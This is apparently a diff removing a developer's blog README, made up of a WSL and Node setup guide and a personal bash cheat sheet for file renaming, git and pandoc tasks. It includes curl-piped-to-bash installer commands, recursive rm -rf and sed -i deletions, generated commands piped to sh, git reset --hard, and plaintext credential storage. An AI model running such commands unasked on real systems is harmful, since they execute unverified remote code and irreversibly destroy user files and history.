-  - [To search for directories named build at a max depth of 2 directories](#to-search-for-directories-named-build-at-a-max-depth-of-2-directories)
-  - [To search all files who are not in .git directory](#to-search-all-files-who-are-not-in-git-directory)
-  - [To find all files that have the same node (hard link) as MY_FILE_HERE](#to-find-all-files-that-have-the-same-node-hard-link-as-my_file_here)
-  - [To find all files in the current directory and modify their permissions](#to-find-all-files-in-the-current-directory-and-modify-their-permissions)
-  - [Wiki Nav](#wiki-nav)
-  - [Dependencies](#dependencies)
-  - [Docs Structure](#docs-structure)
-    - [Overview](#overview)
-    - [Syntax](#syntax)
-    - [Parameters](#parameters)
-    - [Return value](#return-value)
-    - [Example](#example)
-    - [Explanation](#explanation)
-    - [Output](#output)
-  - [Technoloy](#technoloy)
-  - [SOURCECODE](#sourcecode)
-    - [Overview](#overview-1)
-    - [Syntax](#syntax-1)
-    - [Parameters](#parameters-1)
-    - [Return value](#return-value-1)
-    - [Example](#example-1)
-    - [Explanation](#explanation-1)
-    - [Output](#output-1)
-  - [Source Code](#source-code)
-  - [Component Structure](#component-structure)
-
-<!-- /code_chunk_output -->
-
-![preview](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/blog-may-2022.png?raw=true)
-
----
-
-## Useful Commands (internal use)
-
-```bash
-
-npm i @stackbit/gatsby-plugin-menus babel-runtime chokidar classnames fs-extra gatsby gatsby-image gatsby-plugin-netlify gatsby-plugin-netlify-cms gatsby-plugin-sass gatsby-plugin-react-helmet gatsby-plugin-typescript  --legacy-peer-deps
-
-
-git checkout 307a5cd        # check out the commit that you want to reset to
-git checkout -b fixy        # create a branch named fixy to do the work
-git merge -s ours master    # merge master's history without changing any files
-git checkout master         # switch back to master
-git merge fixy              # and merge in the fixed branch
-git push                    # done, no need to force push!
-
-
-
-```
-
----
-
-<a href="https://testmysite.io/61e5ff836a840eeeef7e78e9/bgoonz-blog.netlify.app" rel="Test My Site Results">
-![Test My Site](https://github.com/bgoonz/BGOONZ_BLOG_2.0/blob/master/static/images/Screenshot%202022-03-30%20at%2012-37-24%20Website%20Speed%20Test%20Tool%20-%20Testmysite.io%20by%20Netlify.png?raw=true)</a>
-
----
-
-## Web Dev Setup
-
-<details>
-
-<summary>Web Dev Setup</summary>
-
----
-
-title: WebDev Setup
-template: post
-subtitle: Basic Web Development Environment Setup
-excerpt: Windows Subsystem for Linux (WSL) and Ubuntu
-date: 2022-05-08T18:10:03.296Z
-image: <https://cdn-images-1.medium.com/max/800/0>*aqKP1drNHmNm34zz.jpg
-thumb_image: <https://cdn-images-1.medium.com/max/800/0>*aqKP1drNHmNm34zz.jpg
-image_position: right
-author: src/data/authors/bgoonz.yaml
-categories: - src/data/categories/js.yaml - src/data/categories/javascript.yaml
-tags: - src/data/tags/links.yaml - src/data/tags/resources.yaml
-show_author_bio: true
-related_posts: - src/pages/blog/vs-code-extensions.md - src/pages/blog/code-playgrounds-of-2021.md - src/pages/blog/adding-css-to-your-html.md - src/pages/blog/deploy-react-app-to-heroku.md
-cmseditable: true
-
----
-
-## Basic Web Development Environment Setup
-
-Windows Subsystem for Linux (WSL) and Ubuntu
-
----
-
-### Basic Web Development Environment Setup
-
-#### Windows Subsystem for Linux (WSL) and Ubuntu
-
-<figure>
-<img src="https://cdn-images-1.medium.com/max/800/0*aqKP1drNHmNm34zz.jpg" class="graf-image" />
-</figure>Test if you have Ubuntu installed by typing "Ubuntu" in the search box in the bottom app bar that reads "Type here to search". If you see a search result that reads **"Ubuntu 20.04 LTS"** with "App" under it, then you have it installed.
-```
-1.  In the application search box in the bottom bar, type "PowerShell" to find the application named "Windows PowerShell"
-2.  Right-click on "Windows PowerShell" and choose "Run as administrator" from the popup menu
-3.  In the blue PowerShell window, type the following: `Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux`
-4.  Restart your computer
-5.  In the application search box in the bottom bar, type "Store" to find the application named "Microsoft Store"
-6.  Click "Microsoft Store"
-7.  Click the "Search" button in the upper-right corner of the window
-8.  Type in "Ubuntu"
-9.  Click "Run Linux on Windows (Get the apps)"
-10. Click the orange tile labeled **"Ubuntu"** Note that there are 3 versions in the Microsoft Store… you want the one just entitled 'Ubuntu'
-11. Click "Install"
-12. After it downloads, click "Launch"
-13. If you get the option, pin the application to the task bar. Otherwise, right-click on the orange Ubuntu icon in the task bar and choose "Pin to taskbar"
-14. When prompted to "Enter new UNIX username", type your first name with no spaces
-15. When prompted, enter and retype a password for this UNIX user (it can be the same as your Windows password)
-16. Confirm your installation by typing the command `whoami 'as in who-am-i'`followed by Enter at the prompt (it should print your first name)
-17. You need to update your packages, so type `sudo apt update` (if prompted for your password, enter it)
-18. You need to upgrade your packages, so type `sudo apt upgrade` (if prompted for your password, enter it)
-```
-### Git
-
-Git comes with Ubuntu, so there's nothing to install. However, you should configure it using the following instructions.
-
-Open an Ubuntu terminal if you don't have one open already.
-
-1.  > You need to configure Git, so type `git config --global user.name "Your Name"` with replacing "Your Name" with your real name.
-2.  > You need to configure Git, so type `git config --global user.email your@email.com` with replacing "<a href="mailto:your@email.com" class="markup--anchor markup--li-anchor">your@email.com</a>" with your real email.
-
-**Note: if you want git to remember your login credentials type:**
-
-    git config --global credential.helper store
-
-### Google Chrome
-
-Test if you have Chrome installed by typing "Chrome" in the search box in the bottom app bar that reads "Type here to search". If you see a search result that reads "Chrome" with "App" under it, then you have it installed. Otherwise, follow these instructions to install Google Chrome.
-
-### Node.js
-
-Test if you have Node.js installed by opening an Ubuntu terminal and typing `node --version`. If it reports "Command 'node' not found", then you need to follow these directions.
-
-1.  > In the Ubuntu terminal, type `sudo apt update` and press Enter
-2.  > In the Ubuntu terminal, type `sudo apt install build-essential` and press Enter
-3.  > In the Ubuntu terminal, type `curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.35.2/install.sh | bash` and press Enter
-4.  > In the Ubuntu terminal, type `. ./.bashrc` and press Enter
-5.  > In the Ubuntu terminal, type `nvm install --lts` and press Enter
-6.  > Confirm that **node** is installed by typing `node --version` and seeing it print something that is not "Command not found"!
-
-### Unzip
-
-You will often have to download a zip file and unzip it. It is easier to do this from the command line. So we need to install a linux unzip utility.
-
-In the Ubuntu terminal type: `sudo apt install unzip` and press Enter
-
-Mocha.js
-
-Test if you have Mocha.js installed by opening an Ubuntu terminal and typing `which mocha`. If it prints a path, then you're good. Otherwise, if it prints nothing, install Mocha.js by typing `npm install -g mocha`.
-
-### Python 3
-
-Ubuntu does not come with Python 3. Install it using the command `sudo apt install python3`. Test it by typing `python3 --version` and seeing it print a number.
-
-### Note about WSL
-
-As of the time of writing of this document, WSL has an issue renaming or deleting files if Visual Studio Code is open. So before doing any linux commands which manipulate files, make sure you **close** Visual Studio Code before running those commands in the Ubuntu terminal.
-
-### Some other common instillations
-
-```bash
-    # Installing build essentials
-    sudo apt-get install -y build-essential libssl-dev
-    # Nodejs and NVM
-    curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bash
-    source ~/.profile
-    sudo nvm install 7.10.0
-    sudo nvm use 7.10.0
-    node -v
-    #nodemon
-    sudo npm install -g nodemon
-    sudo npm install -g loopback-cli
-    # Forever to run nodejs scripts forever
-    sudo npm install forever -g
-    # Git - a version control system
-    sudo apt-get update
-    sudo apt-get install -y git xclip
-    # Grunt - an automated task runner
-    sudo npm install -g grunt-cli
-    # Bower - a dependency manager
-    sudo npm install -g bower
-    # Yeoman - for generators
-    sudo npm install -g yo
-    # maven
-    sudo apt-get install maven -y
-    # Gulp - an automated task runner
-    sudo npm install -g gulp-cli
-    # Angular FullStack - My favorite MEAN boilerplate (MEAN = MongoDB, Express, Angularjs, Nodejs)
-    sudo npm install -g generator-angular-fullstack
-    # Vim, Curl, Python - Some random useful stuff
-    sudo apt-get install -y vim curl python-software-properties
-    sudo apt-get install -y python-dev, python-pip
-    sudo apt-get install -y libkrb5-dev
-    # Installing JDK and JRE
-    sudo apt-get install -y default-jre
-    sudo apt-get install -y default-jdk
-    # Archive Extractors
-    sudo apt-get install -y unace unrar zip unzip p7zip-full p7zip-rar sharutils rar uudeview mpack arj cabextract file-roller
-    # FileZilla - a FTP client
-    sudo apt-get install -y filezilla
-```
-
-</details>
-
-
-
----
-### Documentation Commands:
-
-documentation build src/components/DocsMenu.js  -f md> ./notes/DocsMenu.md
-documentation build src/components/Footer.js  -f md> ./notes/Footer.md
-documentation build src/components/Header.js  -f md> ./notes/Header.md
-documentation build src/components/index.js  -f md> ./notes/index.md
-documentation build src/components/SectionContent.js  -f md> ./notes/SectionContent.md
-documentation build src/components/SectionDocs.js  -f md> ./notes/SectionDocs.md
-documentation build src/components/SectionHero.js  -f md> ./notes/SectionHero.md
-documentation build src/components/CtaButtons.js  -f md> ./notes/CtaButtons.md
-documentation build src/components/DocsSubmenu.js  -f md> ./notes/DocsSubmenu.md
-documentation build src/components/FormField.js  -f md> ./notes/FormField.md
-documentation build src/components/Icon.js  -f md> ./notes/Icon.md
-documentation build src/components/Layout.js  -f md> ./notes/Layout.md
-documentation build src/components/SectionCta.js  -f md> ./notes/SectionCta.md
-documentation build src/components/SectionGrid.js  -f md> ./notes/SectionGrid.md
-documentation build src/components/Submenu.js  -f md> ./notes/Submenu.md
-documentation build src/components/ActionLink.js  -f md> ./notes/ActionLink.md
-
-
-
-
----
-
-## Blog Content:
-
-
-
-
-
----
-
-
-
----
-
-##  Bash Cheat Sheet (MY COMMANDS)
-
-
-
-
-
-<details>
-
-<summary> Bash Cheat Sheet (MY COMMANDS) </summary
-
-## 1. Remove spaces from file and folder names and then remove numbers from files and folder names
-
-### Description: need to : `sudo apt install rename`
-
-> Notes: Issue when renaming file without numbers collides with existing file name...
-
-###### code
-
-```bash
-find . -name "* *" -type d | rename 's/ /_/g'
-find . -name "* *" -type f | rename 's/ /_/g'
-```
-
-```bash
-
-```bash
-find $dir -type f | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
-
-find $dir -type d | sed 's|\(.*/\)[^A-Z]*\([A-Z].*\)|mv \"&\" \"\1\2\"|' | sh
-
-for i in *.html; do mv "$i" "${i%-*}.html"; done
-
-for i in *.*; do mv "$i" "${i%-*}.${i##*.}"; done
-
----
-### Description: combine the contents of every file in the contaning directory.
-
->Notes: this includes the contents of the file it's self...
-
-###### code:
-
-```js
-//APPEND-DIR.js
-const fs = require('fs');
-let cat = require('child_process')
-  .execSync('cat *')
-  .toString('UTF-8');
-fs.writeFile('output.md', cat, err => {
-  if (err) throw err;
-});
-
-```
-
----
-
-## 2. Download Website Using Wget
-
-### Description
-
-> Notes: ==> sudo apt install wget
-
-###### code
-
-```bash
-
-wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -p -E -e robots=off -U mozilla https://bootcamp42.gitbook.io/python/
-
-```
-
----
-
-## 3. Clean Out Messy Git Repo
-
-### Description: recursively removes git related folders as well as internal use files / attributions in addition to empty folders
-
-> Notes: To clear up clutter in repositories that only get used on your local machine.
-
-###### code
-
-```bash
-
-find . -empty -type d -print -delete
-
-find . \( -name ".git" -o -name ".gitignore" -o -name ".gitmodules" -o -name ".gitattributes" \) -exec rm -rf -- {} +
-
-find . \( -name "*SECURITY.txt" -o -name "*RELEASE.txt" -o  -name "*CHANGELOG.txt" -o -name "*LICENSE.txt" -o -name "*CONTRIBUTING.txt" -name "*HISTORY.md" -o -name "*LICENSE" -o -name "*SECURITY.md" -o -name "*RELEASE.md" -o  -name "*CHANGELOG.md" -o -name "*LICENSE.md" -o -name "*CODE_OF_CONDUCT.md" -o -name "*CONTRIBUTING.md" \) -exec rm -rf -- {} +
-
-```
-
----
-
-## 4. clone all of a user's git repositories
-
-### Description: clone all of a user or organization's git repositories
-
-> Notes:
-
-###### code
-
-## Generalized
-
-```bash
-
-CNTX={users|orgs}; NAME={username|orgname}; PAGE=1
-curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=100" |
-  grep -e 'git_url*' |
-  cut -d \" -f 4 |
-  xargs -L1 git clone
-```
-
-## Clone all Git User
-
-```bash
-CNTX={users}; NAME={bgoonz}; PAGE=1
-curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
-  grep -e 'git_url*' |
-  cut -d \" -f 4 |
-  xargs -L1 git clone
-
-```
-
-## Clone all Git Organization
-
-```bash
-
-CNTX={organizations}; NAME={TheAlgorithms}; PAGE=1
-curl "https://api.github.com/$CNTX/$NAME/repos?page=$PAGE&per_page=200"?branch=master |
-  grep -e 'git_url*' |
-  cut -d \" -f 4 |
-  xargs -L1 git clone
-
-```
-
----
-
-## 5. Git Workflow
-
-### Description
-
-###### code
-
-```bash
-git pull
-git init
-git add .
-git commit -m"update"
-git push -u origin master
-```
-
-```bash
-git init
-git add .
-git commit -m"update"
-git push -u origin main
-```
-
-```bash
-
-git init
-git add .
-git commit -m"update"
-git push -u origin bryan-guner
-```
-
-```bash
-git init
-git add .
-git commit -m"update"
-git push -u origin gh-pages
-```
-
-```bash
-git init
-git add .
-git commit -m"update"
-git push -u origin preview
-```
-
----
-
-## 6. Recursive Unzip In Place
-
-### Description: recursively unzips folders and then deletes the zip file by the same name
-
-> Notes:
-
-###### code
-
-```bash
-
-find . -name "*.zip" | while read filename; do unzip -o -d "`dirname "$filename"`" "$filename"; done;
-
-find . -name "*.zip" -type f -print -delete
-
-```
-
----
-
-## 7. git pull keeping local changes
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-git stash
-git pull
-git stash pop
-
-```
-
----
-
-## 8. Prettier Code Formatter
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-sudo npm i prettier -g
-
-prettier --write .
-
-```
-
----
-
-## 9. Pandoc
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-find ./ -iname "*.md" -type f -exec sh -c 'pandoc --standalone "${0}" -o "${0%.md}.html"' {} \;
-
-find ./ -iname "*.html" -type f -exec sh -c 'pandoc --wrap=none --from html --to markdown_strict "${0}" -o "${0%.html}.md"' {} \;
-
-find ./ -iname "*.docx" -type f -exec sh -c 'pandoc "${0}" -o "${0%.docx}.md"' {} \;
-
-```
-
----
-
-## 10. Gitpod Installs
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-sudo apt install tree
-sudo apt install pandoc -y
-sudo apt install rename -y
-sudo apt install black -y
-sudo apt install wget -y
-npm i lebab -g
-npm i prettier -g
-npm i npm-recursive-install -g
-
-```
-
-```bash
-black .
-
-prettier --write .
-npm-recursive-install
-```
-
----
-
-## 11. Repo Utils Package
-
-### Description: my standard repo utis package
-
-> Notes:
-
-###### code
-
-```bash
-npm i @bgoonz11/repoutils
-
-```
-
----
-
-## 12. Unix Tree Package Usage
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-tree -d -I  'node_modules'
-
-tree  -I  'node_modules'
-
-tree -f  -I  'node_modules' >TREE.md
-
-tree -f -L 2  >README.md
-
-tree -f  -I  'node_modules' >listing-path.md
-
-tree -f  -I  'node_modules' -d >TREE.md
-
-tree -f >README.md
-
-```
-
----
-
-## 13. Find & Replace string in file & folder names recursively
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-find . -type f -exec rename 's/string1/string2/g' {} +
-
-find . -type d -exec rename 's/-master//g' {} +
-
-find . -type f -exec rename 's/\.download//g' {} +
-
-find . -type d -exec rename 's/-main//g' {} +
-
-rename 's/\.js\.download$/.js/' *.js\.download
-
-rename 's/\.html\.markdown$/.md/' *.html\.markdown
-
-find . -type d -exec rename 's/es6//g' {} +
-
-```
-
----
-
-## 14. Remove double extensions
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-#!/bin/bash
-
-for file in *.md.md
-do
-    mv "${file}" "${file%.md}"
-done
-
-#!/bin/bash
-
-for file in *.html.html
-do
-    mv "${file}" "${file%.html}"
-done
-```
-
-```bash
-
-#!/bin/bash
-
-for file in *.html.png
-do
-    mv "${file}" "${file%.png}"
-done
-
-for file in *.jpg.jpg
-do
-    mv "${file}" "${file%.png}"
-done
-
-```
-
----
-
-## 15. Truncate folder names down to 12 characters
-
-### Description: Truncate folder names down to 12 characters
-
-> Notes: Truncate folder names down to 12 characters
-
-###### code
-
-```bash
-
-for d in ./*; do mv $d ${d:0:12}; done
-
-```
-
----
-
-## 16.Appendir.js
-
-### Description: combine the contents of every file in the contaning directory
-
-> Notes: this includes the contents of the file it's self...
-
-###### code
-
-```js
-//APPEND-DIR.js
-const fs = require('fs');
-let cat = require('child_process').execSync('cat *').toString('UTF-8');
-fs.writeFile('output.md', cat, (err) => {
-    if (err) throw err;
-});
-```
-
----
-
-## 17. Replace space in filename with underscore
-
-### Description: followed by replace `'#' with '_'` in directory name
-
-> Notes: Can be re-purposed to find and replace any set of strings in file or folder names.
-
-###### code
-
-```bash
-find . -name "* *" -type f | rename 's/_//g'
-
-find . -name "* *" -type d | rename 's/#/_/g'
-
-```
-
----
-
-## 18. Filter & delete files by name and extension
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-find . -name '.bin' -type d -prune -exec rm -rf '{}' +
-
-find . -name '*.html' -type d -prune -exec rm -rf '{}' +
-
-find . -name 'nav-index' -type d -prune -exec rm -rf '{}' +
-
-find . -name 'node-gyp' -type d -prune -exec rm -rf '{}' +
-
-find . -name 'deleteme.txt' -type f -prune -exec rm -rf '{}' +
-
-find . -name 'right.html' -type f -prune -exec rm -rf '{}' +
-
-find . -name 'left.html' -type f -prune -exec rm -rf '{}' +
-
-```
-
----
-
-## 19. Remove lines containing string
-
-### Description
-
-> Notes: Remove lines not containing `'.js'`
-
-```bash
-
-sudo sed -i '/\.js/!d' ./*scrap2.md
-
-```
-
-###### code
-
-```bash
-sudo sed -i '/githubusercontent/d' ./*sandbox.md
-
-sudo sed -i '/githubusercontent/d' ./*scrap2.md
-
-sudo sed -i '/github\.com/d' ./*out.md
-
-sudo sed -i '/author/d' ./*
-
-```
-
----
-
-## 20. Remove duplicate lines from a text file
-
-### Description
-
-> Notes:
-> //...syntax of uniq...//
-> $uniq [OPTION] [INPUT[OUTPUT]]
-> The syntax of this is quite easy to understand. Here, INPUT refers to the input file in which repeated lines need to be filtered out and if INPUT isn't specified then uniq reads from the standard input. OUTPUT refers to the output file in which you can store the filtered output generated by uniq command and as in case of INPUT if OUTPUT isn't specified then uniq writes to the standard output.
-
-Now, let's understand the use of this with the help of an example. Suppose you have a text file named kt.txt which contains repeated lines that needs to be omitted. This can simply be done with uniq.
-
-###### code
-
-```bash
-sudo apt install uniq
-uniq -u input.txt output.txt
-
-```
-
----
-
-## 21. Remove lines containing string
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-sudo sed -i '/githubusercontent/d' ./*sandbox.md
-
-sudo sed -i '/githubusercontent/d' ./*scrap2.md
-
-sudo sed -i '/github\.com/d' ./*out.md
-
----
-title: add_days
-tags: date,intermediate
-firstSeen: 2020-10-28T16:19:04+02:00
-lastUpdated: 2020-10-28T16:19:04+02:00
----
-
-sudo sed -i '/title:/d' ./*output.md
-sudo sed -i '/firstSeen/d' ./*output.md
-sudo sed -i '/lastUpdated/d' ./*output.md
-sudo sed -i '/tags:/d' ./*output.md
-
-sudo sed -i '/badstring/d' ./*
-
-sudo sed -i '/stargazers/d' ./repo.txt
-sudo sed -i '/node_modules/d' ./index.html
-sudo sed -i '/right\.html/d' ./index.html
-sudo sed -i '/right\.html/d' ./right.html
-
-```
-
----
-
-## 22. Zip directory excluding .git and node_modules all the way down (Linux)
-
-### Descriptio: zip up an entire git directory
-
-> Notes:
-
-###### code
-
-```bash
-
-#!/bin/bash
-TSTAMP=`date '+%Y%m%d-%H%M%S'`
-zip -r $1.$TSTAMP.zip $1 -x "**.git/*" -x "**node_modules/*" `shift; echo $@;`
-
-printf "\nCreated: $1.$TSTAMP.zip\n"
-
-## usage:
-## - zipdir thedir
-## - zip thedir -x "anotherexcludedsubdir"    (important the double quotes to prevent glob expansion)
-
-## if in windows/git-bash, add 'zip' command this way:
-## https://stackoverflow.com/a/55749636/1482990
-
-```
-
----
-
-## 23. Delete files containing a certain string
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-find . | xargs grep -l www.redhat.com | awk '{print "rm "$1}' > doit.sh
-vi doit.sh // check for murphy and his law
-source doit.sh
-
-```
-
----
-
-## 24 Generate sitemap
-
-### Description
-
-> Notes: bash command to auto generate sitemap.html which will list all files contained within parent directory.
-
-###### code
-
-```bash
-
-#!/bin/sh
-
-## find ./ | grep -i "\.*$" >files
-find ./ | sed -E -e 's/([^ ]+[ ]+){8}//' | grep -i "\.*$">files
-listing="files"
-
-out=""
-
-html="sitemap.html"
-out="basename $out.html"
-html="sitemap.html"
-cmd() {
-
-  echo '  <!DOCTYPE html>'
-  echo '<html>'
-  echo '<head>'
-
-  echo '  <meta http-equiv="Content-Type" content="text/html">'
-
-  echo '  <meta name="Author" content="Bryan Guner">'
-  echo '<link rel="stylesheet" href="./assets/prism.css">'
-  echo ' <link rel="stylesheet" href="./assets/style.css">'
-  echo ' <script async defer src="./assets/prism.js"></script>'
-
-  echo "  <title> directory </title>"
-    echo '<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/bgoonz/GIT-CDN-FILES/mdn-article.css">'
-  echo '<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/bgoonz/GIT-CDN-FILES/markdown-to-html-style.css">'
-  echo ""
-  echo '<style>'
-
-echo '    a {'
-echo '      color: black;'
-echo '    }'
-echo ''
-echo '    li {'
-echo '      border: 1px solid black !important;'
-echo '      font-size: 20px;'
-echo '      letter-spacing: 0px;'
-echo '      font-weight: 700;'
-echo '      line-height: 16px;'
-echo '      text-decoration: none !important;'
-echo '      text-transform: uppercase;'
-echo '      background: #194ccdaf !important;'
-echo '      color: black !important;'
-echo '      border: none;'
-echo '      cursor: pointer;'
-echo '      justify-content: center;'
-echo '      padding: 30px 60px;'
-echo '      height: 48px;'
-echo '      text-align: center;'
-echo '      white-space: normal;'
-echo '      border-radius: 10px;'
-echo '      min-width: 45em;'
-echo '      padding: 1.2em 1em 0;'
-echo '      box-shadow: 0 0 5px;'
-echo '      margin: 1em;'
-echo '      display: grid;'
-echo '      -webkit-border-radius: 10px;'
-echo '      -moz-border-radius: 10px;'
-echo '      -ms-border-radius: 10px;'
-echo '      -o-border-radius: 10px;'
-echo '    }'
-echo '  </style>'
-  echo '</head>'
-
-  echo '<body>'
-
-  echo ""
-
-  # continue with the HTML stuff
-
-  echo ""
-
-  echo ""
-
-  echo "<ul>"
-
-  awk '{print "<li><a href=\""$1"\">",$1,"&nbsp;</a></li>"}' $listing
-
-  # awk '{print "<li>"};
-
-  # 	{print " <a href=\""$1"\">",$1,"</a></li>&nbsp;"}' \ $listing
-
-  echo ""
-
-  echo "</ul>"
-
-  echo "</body>"
-
-  echo "</html>"
-
-}
-
-cmd $listing --sort=extension >>$html
-
-```
-
----
-
-## 25. Index of Iframes
-
-### Description: Creates an index.html file that contains all the files in the working directory or any of it's sub folders as iframes instead of anchor tags
-
-> Notes: Useful Follow up Code:
-
-```bash
-
-```
-
-###### code
-
-```bash
-
-#!/bin/sh
-
-## find ./ | grep -i "\.*$" >files
-find ./ | sed -E -e 's/([^ ]+[ ]+){8}//' | grep -i "\.*$">files
-listing="files"
-
-out=""
-
-html="index.html"
-out="basename $out.html"
-html="index.html"
-cmd() {
-
-  echo '  <!DOCTYPE html>'
-  echo '<html>'
-  echo '<head>'
-
-  echo '  <meta http-equiv="Content-Type" content="text/html">'
-
-  echo '  <meta name="Author" content="Bryan Guner">'
-  echo '<link rel="stylesheet" href="./assets/prism.css">'
-  echo ' <link rel="stylesheet" href="./assets/style.css">'
-  echo ' <script async defer src="./assets/prism.js"></script>'
-
-  echo "  <title> directory </title>"
-
-  echo ""
-  echo '<style>'
-
-echo '    a {'
-echo '      color: black;'
-echo '    }'
-echo ''
-echo '    li {'
-echo '      border: 1px solid black !important;'
-echo '      font-size: 20px;'
-echo '      letter-spacing: 0px;'
-echo '      font-weight: 700;'
-echo '      line-height: 16px;'
-echo '      text-decoration: none !important;'
-echo '      text-transform: uppercase;'
-echo '      background: #194ccdaf !important;'
-echo '      color: black !important;'
-echo '      border: none;'
-echo '      cursor: pointer;'
-echo '      justify-content: center;'
-echo '      padding: 30px 60px;'
-echo '      height: 48px;'
-echo '      text-align: center;'
-echo '      white-space: normal;'
-echo '      border-radius: 10px;'
-echo '      min-width: 45em;'
-echo '      padding: 1.2em 1em 0;'
-echo '      box-shadow: 0 0 5px;'
-echo '      margin: 1em;'
-echo '      display: grid;'
-echo '      -webkit-border-radius: 10px;'
-echo '      -moz-border-radius: 10px;'
-echo '      -ms-border-radius: 10px;'
-echo '      -o-border-radius: 10px;'
-echo '    }'
-echo '  </style>'
-  echo '</head>'
-
-  echo '<body>'
-
-  echo ""
-
-  # continue with the HTML stuff
-
-  echo ""
-
-  echo ""
-
-  echo "<ul>"
-
-  awk '{print "<iframe src=\""$1"\">","</iframe>"}' $listing
-
-  # awk '{print "<li>"};
-
-  # 	{print " <a href=\""$1"\">",$1,"</a></li>&nbsp;"}' \ $listing
-
-  echo ""
-
-  echo "</ul>"
-
-  echo "</body>"
-
-  echo "</html>"
-
-}
-
-cmd $listing --sort=extension >>$html
-
-```
-
----
-
-## 26. Filter Corrupted Git Repo For Troublesome File
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-git filter-branch --index-filter 'git rm -r --cached --ignore-unmatch assets/_index.html' HEAD
-
-```
-
----
-
-## 27. OVERWRITE LOCAL CHANGES
-
-### Description
-
-Important: If you have any local changes, they will be lost. With or without --hard option, any local commits that haven't been pushed will be lost.[*]
-If you have any files that are not tracked by Git (e.g. uploaded user content), these files will not be affected.
-
-> Notes:
-> First, run a fetch to update all origin/<branch> refs to latest:
-
-###### code
-
-```bash
-
-git fetch --all
-## Backup your current branch:
-
-git branch backup-master
-## Then, you have two options:
-
-git reset --hard origin/master
-## OR If you are on some other branch:
-
-git reset --hard origin/<branch_name>
-## Explanation:
-## git fetch downloads the latest from remote without trying to merge or rebase anything.
-
-## Then the git reset resets the master branch to what you just fetched. The --hard option changes all the files in your working tree to match the files in origin/master
-git fetch --all
-git reset --hard origin/master
-
-```
-
----
-
-## 28. Remove Submodules
-
-### Description: To remove a submodule you need to
-
-> Notes:
-
-> Delete the relevant section from the .gitmodules file.
-> Stage the .gitmodules changes git add .gitmodules
-> Delete the relevant section from .git/config.
-> Run git rm --cached path_to_submodule (no trailing slash).
-> Run rm -rf .git/modules/path_to_submodule (no trailing slash).
-> Commit git commit -m "Removed submodule "
-> Delete the now untracked submodule files rm -rf path_to_submodule
-
-###### code
-
-```bash
-git submodule deinit
-```
-
----
-
-## 29. GET GISTS
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-sudo apt install wget
-
-wget -q -O - https://api.github.com/users/bgoonz/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
-
-wget -q -O - https://api.github.com/users/amitness/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n3 wget
-
-wget -q -O - https://api.github.com/users/drodsou/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n1 wget
-
-wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F\" '{print $4}' | xargs -n1 wget
-
-```
-
----
-
-## 30. Remove Remote OriginL
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-git remote remove origin
-
-```
-
----
-
-## 31. just clone .git folder
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-Web-Dev-Archive.git
-
-```
-
----
-
-## 32. Undo recent pull request
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-
-git reset --hard master@{"10 minutes ago"}
-
-```
-
----
-
-## 33. Lebab
-
-### Description: ES5 --> ES6
-
-> Notes:
-
-###### code
-
-```bash
-## Safe:
-
- lebab --replace ./ --transform arrow
- lebab --replace ./ --transform arrow-return
- lebab --replace ./ --transform for-of
- lebab --replace ./ --transform for-each
- lebab --replace ./ --transform arg-rest
- lebab --replace ./ --transform arg-spread
- lebab --replace ./ --transform obj-method
- lebab --replace ./ --transform obj-shorthand
- lebab --replace ./ --transform multi-var
-
-## ALL:
-
-lebab --replace ./ --transform obj-method
-lebab --replace ./ --transform class
-lebab --replace ./ --transform arrow
-lebab --replace ./ --transform let
-lebab --replace ./ --transform arg-spread
-lebab --replace ./ --transform arg-rest
-lebab --replace ./ --transform for-each
-lebab --replace ./ --transform for-of
-lebab --replace ./ --transform commonjs
-lebab --replace ./ --transform exponent
-lebab --replace ./ --transform multi-var
-lebab --replace ./ --transform template
-lebab --replace ./ --transform default-param
-lebab --replace ./ --transform  destruct-param
-lebab --replace ./ --transform includes
-lebab --replace ./ --transform obj-method
-lebab --replace ./ --transform class
-lebab --replace ./ --transform arrow
-lebab --replace ./ --transform arg-spread
-lebab --replace ./ --transform arg-rest
-lebab --replace ./ --transform for-each
-lebab --replace ./ --transform for-of
-lebab --replace ./ --transform commonjs
-lebab --replace ./ --transform exponent
-lebab --replace ./ --transform multi-var
-lebab --replace ./ --transform template
-lebab --replace ./ --transform default-param
-lebab --replace ./ --transform  destruct-param
-lebab --replace ./ --transform includes
-
-```
-
----
-
-## 34. Troubleshoot Ubuntu Input/Output Error
-
-### Description: Open Powershell as Administrator
-
-> Notes:
-
-###### code
-
-```ps1
-
- wsl.exe --shutdown
-
- Get-Service LxssManager | Restart-Service
-
-```
-
----
-
-## 35. Export Medium as Markdown
-
-### Description
-
-> Notes:
-
-###### code
-
-```bash
-npm i mediumexporter -g
-
-mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 >ds.md
-
-```
-
----
-
